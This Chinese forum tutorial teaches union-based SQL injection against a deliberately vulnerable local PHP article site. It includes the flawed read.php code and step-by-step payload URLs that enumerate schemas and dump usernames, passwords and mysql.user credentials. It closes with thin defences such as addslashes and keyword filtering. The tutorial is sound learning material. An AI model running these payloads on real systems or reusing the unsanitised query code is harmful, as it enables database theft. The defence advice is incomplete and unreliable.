IT评测·应用市场-qidao123.com技术社区

标题: SQL-查询毛病 [打印本页]

作者: 南飓风    时间: 2025-3-26 13:36
标题: SQL-查询毛病
一、查询注入的数据范例

  1. //list.php
  2. <!DOCTYPE html>
  3. <html lang="en">
  4. <head>
  5.     <meta charset="UTF-8">
  6.     <meta http-equiv="X-UA-Compatiable" content="IE=edge">
  7.     <meta name="viewport" content="width=device-width,initial-sacle=1.0">
  8.     <title>文章列表</title>
  9.     <style>
  10.         table{
  11.             width : 800px;
  12.             margin : auto;
  13.             border : solid 1px gray;
  14.             border-spacing: 0px;
  15.         }
  16.         td{
  17.             border : solid 1px gray;
  18.             height : 40px;
  19.         }
  20.     </style>
  21.     <script>
  22.         function doDelete(articleid){
  23.             if(!window.confirm("你确定要删除该文章吗?")){
  24.                 return false;
  25.             }
  26.             //window.alert(articleid);
  27.             $.post('delete.php','articleid='+articleid,function(data){
  28.                 if(data == 'delete-ok'){
  29.                     window.alert('删除成功');
  30.                     //location.href = "list.php";
  31.                     location.reload();  //刷新当前页面
  32.                 }
  33.                 else{
  34.                     window.alert('删除失败' + data);
  35.                 }
  36.             });
  37.         }
  38.     </script>
  39. </head>
  40. <body>
  41.     <table>
  42.         <tr>
  43.             <td>编号</td>
  44.             <td>作者</td>
  45.             <td>标题</td>
  46.             <td>次数</td>
  47.             <td>时间</td>
  48.             <td>操作</td>
  49.         </tr>
  50. <?php
  51. include "commond.php";
  52. if(!isset($_SESSION['islogin']) || $_SESSION['islogin'] != 'true'){
  53.     die("请先登录.<a href='login.html'>点此登录</a>");
  54. }
  55. $conn = creat_connection();
  56. $sql = "select articleid,author,headline,viewcount,creattime from learn3";
  57. $result = mysqli_query($conn,$sql);
  58. //将数据库查询的结果集中的数据取出,保存到一个数组中
  59. $rows = mysqli_fetch_all($result);
  60. //遍历结果集数据并在表格中展示
  61. foreach($rows as $row){
  62.     echo '<tr>';
  63.     echo '<td>' . $row[0] . '</td>';
  64.     echo '<td>' . $row[1] . '</td>';
  65.     echo '<td><a href="read.php?id=' . $row[0] . '">' . $row[2] . '</a></td>';
  66.     echo '<td>' . $row[3] . '</td>';
  67.     echo '<td>' . $row[4] . '</td>';
  68.     //echo '<td><button onclick="doDelete('.$row[0].')">删除</button></td>';
  69.     echo '<td><button onclick="doDelete('.$row[0].')">删除</button><button>编辑</button></td>';
  70.     echo '</tr>';
  71. }
  72.     mysqli_close($conn);
  73.     ?>
  74.    
  75.     </table>
  76. </body>
  77. </html>
复制代码
  1. //read.php
  2. <!DOCTYPE html>
  3. <html lang="en">
  4. <head>
  5.     <meta charset="UTF-8">
  6.     <meta http-equiv="X-UA-Compatiable" content="IE=edge">
  7.     <meta name="viewport" content="width=device-width,initial-sacle=1.0">
  8.     <title>Document</title>
  9.     <style>
  10.         div{
  11.             width:800px;
  12.             margin:auto;
  13.             height:60px;
  14.         }
  15.     </style>
  16. </head>
  17. <body>
  18.     <?php
  19.     include "commond.php";
  20.     if(!isset($_SESSION['islogin']) || $_SESSION['islogin'] != 'true'){
  21.         die("请先登录.<a href='login.html'>点此登录</a>");
  22.     }
  23.     $conn = creat_connection();
  24.    
  25.     $id = $_GET['id'];
  26.     $sql = "select * from learn3 where articleid=$id";
  27.     $result = mysqli_query($conn,$sql);
  28.    
  29.     $article = mysqli_fetch_assoc($result);  //读取结果集中的第一行数据,并用关联数组表示
  30.     ?>
  31.     <div><?=$article['headline']?></div>
  32.     <div><hr></div>
  33.     <div><?=$article['content']?></div>
  34. </body>
  35. </html>
复制代码
注入点根据可控参数的数据范例不同,可分为3类,分别是:
1、数字型

  1. select * from tables where id = 1;
复制代码
2、字符型

  1. select * from tables where username = 'woniu';
复制代码
3、搜索型

  1. select * from tables where id like '%woniu%';
复制代码
4、注释方式

数据范例不同,在注入的payload中会有大小不同,主要就是考察队字符语法规则的理解和注释的运用
  1. #(%23),--(空格--+),/* */
复制代码
二、注入步调

1、通过and 1=1,and 1=2的输入,来判断是否存在注入点。如果结果不同等,说明我们输入的语句被数据库执行了
2、通过观察或报错信息来判定输入点的数据范例,数字型,字符型,搜索型
3、使用order by来确定主查询数目,order by本质上是一个排序的语法,但是order by有个条件,就是排序必须建立在精确的主查询条数上。以是在注入中用order by并不是为了排序,而是为了确认主查询的条数,确保union select的查询数与主查询同等。order by只会超出主查询列数后才会报错,小于或等于主查询列数不会报错
  1. http://localhost/security/read.php?id=1 order by 6
  2. http://localhost/security/read.php?id=-1 union select 1,2,3,4,5,6
复制代码

4、使用union select查询,将主查询改为负数大概不存在
  1. union联合查询的前提:列数相等
  2. select * from tables where id = -1 union select 1,2,3,4,5,6...
  3. 如果不知道列数的情况下,可以通过猜测的方式来使用 select * from 表名,通常
  4. 表名起的是有意义的,所以猜测正确的概率是有的。如果表名猜测错误,是会出现错误信息
  5. 或者查询不出结果。那么只要能查询出结果,则说明表名是正确的,且*的列数也是正确的
  6. 在能够回显的基础上,则可以做任意MySQL支持的查询,包括各种SQL语句和内置变量或函数的应用
复制代码
5、在表现的数字位置上,替换对应的查询语句,database(),version(),user()
  1. http://localhost/security/read.php?id=-1 union select 1,2,3,4,5,6 from learn3
  2. 将articleid改为-1的话,3和4就代表了headline和content
  3. #还可以直接查询数据表的内容,进而实现拖库(脱裤)以下查询的前提是需要知道表名和列名
  4. http://localhost/security/read.php?id=-1 union select 1,2,3,(select password from learn2 limit 0,1),5,6
  5. limit 0,1的意思是从第0个开始往后取一个
  6. 通过concat()进行字符串拼接,可以一次性直接获取一行数据,而不用分列获取
  7. http://localhost/security/read.php?id=-1 union select 1,2,3,(select concat(userid,'==',username,'==',password) from learn2 limit 1,1),5,6
复制代码


  1. http://localhost/security/read.php?id=-1 union select 1,2,user(),database(),5,6 from learn3
复制代码

6、使用information_schema举行全部内容查询,得知库名后首先查询表:
  1. select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = "库名"
复制代码
7、根据库名和表名查出全部的列名
  1. select group_concat(column_name) from information_schema.columns where table_schema = "库名" and table_name = "表名"
  2. http://localhost/security/read.php?id=-1%20union%20select%201,2,3,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27learn%27%20limit%201,1),5,6
  3. http://localhost/security/read.php?id=-1%20union%20select%201,2,3,(select%20group_concat(columns_name)%20from%20information_schema.columns%20where%20table_schema=%27learn%27%20limit%201,1),5,6
复制代码
8、知道表名和列名,可以直接查出表的内容
  1. select group_comcat(列名) from "表名";
复制代码
9、使用concat连接列值,可以一次性取出很多列
  1. select concat(username,"==",password,"==",role) as userinfo from user
复制代码
10、如果查出多列,只能表现一列,则可以使用limit
  1. select * from user limit 0,1 或 limit 8,1 等
  2. select 1,2,table_name,4,5,6 from information_schema,tables where table_schema='learn' limit 1,1
复制代码
三、进阶用法

1、使用concat_ws指定分隔符,比concat更加方便
  1. select concat_ws('==',username,password,role) as userinfo from user
复制代码
2、使用group_concat和concat_ws连用
  1. select * from article where articleid=-1 union select 1,2,
  2. (select group_concat(table_name) from information_schema.tables where table_schema='learn'),
  3. (select group_concat(concat_ws('==',username,password,role)) from user),5,6
  4. /security/read.php?id=-1 union select 1,2,3(select group_concat(concat_ws('==',User,Password,Host)) from mysql.user),5,6
  5. /security/read.php?id=-1 union select 1,2,3,(select group_concat(concat_ws('==',articleid,headline,viewcount)) from learn3),5,6
  6. 一次性完整取得数据库中的数据,再利用Python进行字符串切分,即可还原为二维表。
  7. #如果数据量庞大,则可以分批次进行
  8. /security/read.php?id=-1 union select 1,2,3,(select group_concat(concat_ws('==',articleid,headline,viewcount)) from learn3 where articleid between 5 and 10),5,6
复制代码


3、使用十六进制代替单引号
  1. 在MySQL中将字符串转换为16进制:select hex('learn'),将十六进制转回字符串:unhex('6C6561726E')
  2. where table_schema=0x6C6561726E and table_name=0x75736572 limit 0,1
  3. /security/read.php?id=-1 union select 1,2,3,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = '0x6C6561726E'),5,6
复制代码
4、浏览全部数据库
  1. /security/read/php?id=-1 union select 1,2,3(select group_concat(distinct(table_schema)) from
  2. information_schema.tables),5,6
  3. information_schema,learn.mysql,performance_schema,phpadmin,xindai,zabbix 发现存在phpadmin数据库
  4. 尝试访问:/phpadmin,如果使用的认证方式有:config,则直接进入后台,如果使用认证方式为:http,则可以爆破,所以最好的方式是不要开启PHPMyAdmin,或者
  5. 在需要的时候开启远程访问
复制代码

5、针对非数字型的查询毛病
  1. /security/read.php?id=-2' union select 1,2,3,(select group_concat(username) from user),5,6 %23'
  2. /security/read.php?id=-2' union select 1,2,3,(select group_concat(username) from user),5,6 --+'
  3. select * from learn3 where content like '%页面%';
  4. select * from learn3 where content like '%页面%'-- '%';
  5. select * from learn3 where content like '%页面%'#'%';
复制代码
上述查询主要针对MySQL数据库,如果针对Oracle数据库,需要学习Oracle的语法,如果是SQLServer等其他数据库,也一样。
上述注入均是GET请求,针对POST请求是完全一样的用法,只是将Payload移到Post请求的正文当中即可。
首先访问localhost/security/read.php?id=1,出现如果所示的响应:

但凡出现上述URL地址的格式,大概率会有SQL注入毛病,修改?id的值
然后尝试?id=1 and 1=1 和?id=1 and 1=2
id = 1 and 1=2 无法查询到内容,?id = 1 and 1=1 可以查询到内容
说明在这个地方有注入

四、Union查询注入不适用的地方

1、注入语句无法截断,且不清晰完整的SQL查询语句
2、页面不能返回查询信息的时候
3、Web页面中有两个SQL查询语句,查询语句的列数不同

五、防护方法

1、添加addslashes
2、将id类数字型参数转换为整数
3、判断参数的长度,通常一个ID不会太长
4、对输入举行过滤,如information_schema,union,order by,逗号等等











免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 IT评测·应用市场-qidao123.com技术社区 (https://dis.qidao123.com/) Powered by Discuz! X3.4